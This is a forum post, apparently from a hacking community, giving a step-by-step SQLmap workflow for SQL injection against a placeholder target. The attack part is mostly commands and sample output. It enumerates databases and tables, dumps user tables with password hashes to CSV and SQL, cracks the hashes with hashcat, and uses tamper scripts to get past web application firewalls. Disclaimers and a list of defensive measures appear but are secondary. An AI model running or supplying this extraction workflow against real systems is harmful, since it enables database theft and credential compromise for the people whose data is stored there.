Hacking Databases Like a Pro

dEEpEst · Jul 22, 2025

Hacking Databases Like a Pro: The Ultimate SQL Injection Guide with SQLmap

Description:

Unlock the secrets of ethical database hacking with this step-by-step SQL injection guide! Learn how to:

Exploit SQL vulnerabilities like a penetration tester

Dump entire databases (including passwords) in SQL & CSV formats

Bypass security filters with advanced SQLmap techniques

Secure your systems with professional defense strategies
Perfect for cybersecurity enthusiasts, ethical hackers, and IT professionals—always legal and ethical!

Tags:

#SQLInjection #EthicalHacking #PenetrationTesting #SQLmap #DatabaseHacking #CyberSecurity #HackersGuide #InfoSec #DataProtection #WhiteHatHacking

Ethical Database Penetration Testing: A Comprehensive Guide to SQL Injection with SQLmap, Database Access and Password Retrieval

Introduction to Ethical SQL Injection Testing

SQL injection remains one of the most critical web application vulnerabilities, consistently ranking top in the OWASP Top 10. As cybersecurity professionals, understanding these vulnerabilities is paramount to building robust defenses. This guide provides a complete, ethical framework for:

Identifying SQL injection vulnerabilities
Using

This link is hidden for visitors. Please Log in or register now.

for authorized penetration testing
Using

This link is hidden for visitors. Please Log in or register now.

to break the hash encryption if necessary
Properly documenting findings in CSV format
Implementing defensive measures

Legal Disclaimer:

All techniques described must only be performed on systems you own or have explicit written permission to test. Unauthorized testing is illegal.

Quick Navigation

Understanding SQLmap's Core Functionality

SQLmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws. Key capabilities include:

Database fingerprinting (DBMS identification)
Data extraction (retrieving database contents)
Password hash dumping (for authorized security testing)
File system access (on certain DBMS configurations)
Operating system command execution (in advanced cases)

Understanding --level and --risk in SQLmap

SQLmap allows fine-tuning of tests using:

--level (1-5): Controls the number of tests performed (higher = more thorough but slower).
--risk (1-3): Determines the risk of payloads (higher = more aggressive but may cause disruptions).

Level	Description
1	Basic tests (default)
2	Cookie & User-Agent tests
3	HTTP Host header tests
4	Referer header tests
5	Full HTTP header tests

Risk	Description
1	Low-risk (default, safe for most tests)
2	Adds time-based blind SQLi
3	Adds OR-based SQLi (can corrupt data)

Comprehensive Testing Methodology

Phase 1: Vulnerability Identification

Bash:

sqlmap -u "http://target.com/vuln_page?id=1" --batch --level=3 --risk=2

--batch: Runs with default options without user interaction
Checks for basic error-based SQL injection

Phase 2: Database Enumeration

Bash:

sqlmap -u "http://target.com/vuln_page?id=1" --batch --level=3 --risk=2 --dbs

--dbs: Lists all available databases
--level=3: Tests cookies and User-Agent headers
--risk=2: Includes time-based blind SQLi tests

Output Example

Code:

fetching database names
available databases [2]:
[*] information_schema
[*] customer_db

Phase 3: Table Discovery

Bash:

sqlmap -u "http://target.com/vuln_page?id=1" --batch --level=3 --risk=2 -D customer_db --tables

-D: Specifies the target database
--tables: Lists all tables in the specified database

Output Example

Code:

fetching tables for database: 'customer_db'
Database: customer_db
[4 tables]
+------------------------+
| users                   |
| customers              |
| invoices               |
| products               |
+------------------------+

Phase 4: Column Extraction

Bash:

sqlmap -u "http://target.com/vuln_page?id=1" --batch --level=3 --risk=2 -D customer_db -T users --columns

-T: Targets a specific table
--columns: Lists all columns in the specified table

Password Retrieval & CSV Export Procedure

Step 1: Complete Data Dump

Bash:

sqlmap -u "http://target.com/vuln_page?id=1" --batch --level=3 --risk=2 -D customer_db -T users --dump --dump-format=CSV

--dump: Extracts all data from the table
--dump-format=CSV: Outputs results in CSV format
SQLmap supports multiple output formats for data dumps. Choose the one that best fits your reporting or analysis needs:

Format	Description	Extension
CSV	Comma-separated, ideal for Excel or scripts	`.csv`
SQL	Full schema + data dump, reconstructable	`.sql`
HTML	Easy-to-read formatted output in browser	`.html`
XML	Structured data for parsing or integration	`.xml`
JSON	Lightweight structured data, API-friendly	`.json`

Output Example

Code:

Database: customer_db
Table: users
[3 entries]
+---------+---------+-----------------------------------------------+-----------+
| id_user | level   | password                                      | username  |
+---------+---------+-----------------------------------------------+-----------+
| 20      | 1       | xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (password)    | admin |
| 26      | 1       | xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (password)    | staff |
| 27      | 1       | xxxxxxxx                                       | admin2|
+---------+---------+-----------------------------------------------+-----------+

Step 2: Locating the Output

SQLmap saves CSV files in:

Bash:

/path/to/sqlmap/output/target.com/dump/customer_db/users.csv

Sample CSV Output Structure

Code:

"id","username","password","email","last_login"
"1","admin","$2y$10$N9qo8uLOickgx2ZMRZoMy...","[email protected]","2023-05-15 08:23:45"
"2","user1","5f4dcc3b5aa765d61d8327deb882cf99","[email protected]","2023-05-14 15:42:18"

Step 3: Hash Analysis

For hashed passwords:

Bash:

hashcat -m 0 hashes.txt rockyou.txt

(Only perform on hashes you're authorized to crack)

Ethical Database Penetration Testing: Complete Guide with SQLmap (Including Full SQL Dump)

Comprehensive SQL Injection Testing Methodology

Phase 5: Full Database Export in SQL Format

For complete forensic analysis during authorized penetration tests, SQLmap can export the entire database structure and data in SQL format.

Command for Full SQL Dump:

Bash:

sqlmap -u "http://target.com/vuln_page?id=1" --batch --level=3 --risk=2 --dump-all --dump-format=SQL --output-dir=/path/to/save

Key Parameters:

--dump-all: Extracts all databases and tables
--dump-format=SQL: Generates SQL file with complete schema and data
--output-dir: Specifies where to save the exported files

Output Structure:

Code:

/path/to/save/
├── target.com/
│   ├── dump/
│   │   ├── database1.sql
│   │   ├── database2.sql
│   │   └── ...
│   └── log/

Sample SQL Export Contents:

SQL:

-- Database: customer_db

CREATE TABLE `users` (

  `id` int(11) NOT NULL AUTO_INCREMENT,

  `username` varchar(255) NOT NULL,

  `password` varchar(255) NOT NULL,

  `email` varchar(255) NOT NULL,

  PRIMARY KEY (`id`)

) ENGINE=InnoDB DEFAULT CHARSET=utf8;



INSERT INTO `users` VALUES

(1,'admin','$2y$10$N9qo8uLOickgx2ZMRZoMy...','[email protected]'),

(2,'user1','5f4dcc3b5aa765d61d8327deb882cf99','[email protected]');



-- Database: product_db

CREATE TABLE `inventory` (

  `product_id` int(11) NOT NULL,

  `product_name` varchar(255) NOT NULL

) ENGINE=InnoDB DEFAULT CHARSET=utf8;

Practical Applications of SQL Dump:

Complete Forensic Analysis: Reconstruct the entire database for security evaluation
Development Testing: Create identical test environments
Data Migration: Verify database contents during security upgrades

Enhanced Command with Performance Options:

Bash:

sqlmap -u "http://target.com/vuln_page?id=1" --batch --level=3 --risk=2 --dump-all --dump-format=SQL --threads=5 --output-dir=/safe/storage --flush-session

--threads=5: Speeds up extraction using parallel processing
--flush-session: Clears previous session data for clean testing

Security Considerations:

Encrypt SQL Dumps: Use GPG for sensitive data
gpg -c database_dump.sql
Secure Storage: Store only on authorized systems
Data Retention: Follow organizational policies for test data

Complete Testing Workflow

Discovery (--dbs)
Enumeration (--tables, --columns)
Targeted Extraction (--dump for specific tables)
Full Database Export (--dump-all --dump-format=SQL)
Analysis (Review SQL files in secure environment)

Defensive Recommendations

For Database Administrators:

Implement regular backup audits
Monitor for unusual data export patterns
Restrict SELECT INTO OUTFILE privileges

For Developers:

Review all dynamic SQL queries
Implement database activity monitoring
Use ORM frameworks with proper escaping

For Security Teams:

Conduct quarterly SQL injection tests
Verify encryption of backup files
Test database restoration procedures

Advanced Testing Parameters

Optimizing Detection

Bash:

sqlmap -u "http://target.com/vuln_page?id=1" --level=5 --risk=3 --threads=5

--level=5: Maximum detection thoroughness
--risk=3: Highest risk payloads (use with caution)
--threads=5: Parallel processing for faster results

Bypassing WAFs

Bash:

sqlmap -u "http://target.com/vuln_page?id=1" --batch --level=3 --risk=2 --tamper=space2comment

--tamper: Modifies injection data to bypass filters

Common SQLmap Errors and How to Fix Them

Error	Possible Cause	Solution
`sqlmap requires Python 3.x`	You're using Python 2.x	Use `python3 sqlmap.py`
`403 Forbidden` or `WAF Detected`	Web app blocking automated scans	Use `--random-agent` or `--tamper`
`empty response` or `no injection point`	Parameter not injectable	Try adding `--level=5 --risk=3`
`Can't connect to target`	Wrong URL or down host	Check the URL or try with `curl` first

Defensive Countermeasures

For Developers:

Use prepared statements with parameterized queries
Implement strict input validation (whitelist approach)
Apply the principle of least privilege for database accounts

For System Administrators:

Deploy Web Application Firewalls (WAF)
Regularly update and patch database systems
Implement proper logging and monitoring

For Security Teams:

Conduct regular penetration tests
Perform code reviews focusing on SQLi vulnerabilities
Educate development teams on secure coding practices

Ethical Reporting & Documentation

When conducting authorized tests:

Document all findings with:

Vulnerable endpoints

Extracted data samples (sanitized)

Risk assessment
Provide clear remediation guidance
Include CSV exports (properly secured) as evidence

Workflow

Discovery → Enumeration → Extraction → Reporting

This link is hidden for visitors. Please Log in or register now.

Conclusion

This guide provides a complete ethical framework for SQL injection testing using SQLmap. Remember:

Always obtain explicit authorization

Use --dump-format=CSV for standardized reporting

Focus on remediation, not just vulnerability discovery

Maintain strict confidentiality of findings
Continuous Learning Resources:

OWASP SQL Injection Prevention Cheat Sheet
SQLmap official documentation
MITRE ATT&CK Framework (T1190)

-- Created for HTDark Community --

Hacking Databases Like a Pro